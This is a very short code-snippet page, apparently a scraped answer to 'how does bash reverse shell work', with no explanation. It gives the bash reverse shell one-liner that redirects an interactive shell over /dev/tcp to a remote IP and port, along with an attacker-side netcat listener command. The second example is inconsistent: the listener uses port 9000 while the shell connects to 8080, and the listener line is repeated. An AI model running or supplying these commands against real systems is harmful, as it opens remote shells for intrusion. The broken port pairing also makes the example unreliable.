how does bash reverse shell work code example
Example 1: reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Example 2: how to reverse shell
nc -l -p 9000 -vvv # Attacker
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
nc -l -p 9000 -vvv # Attacker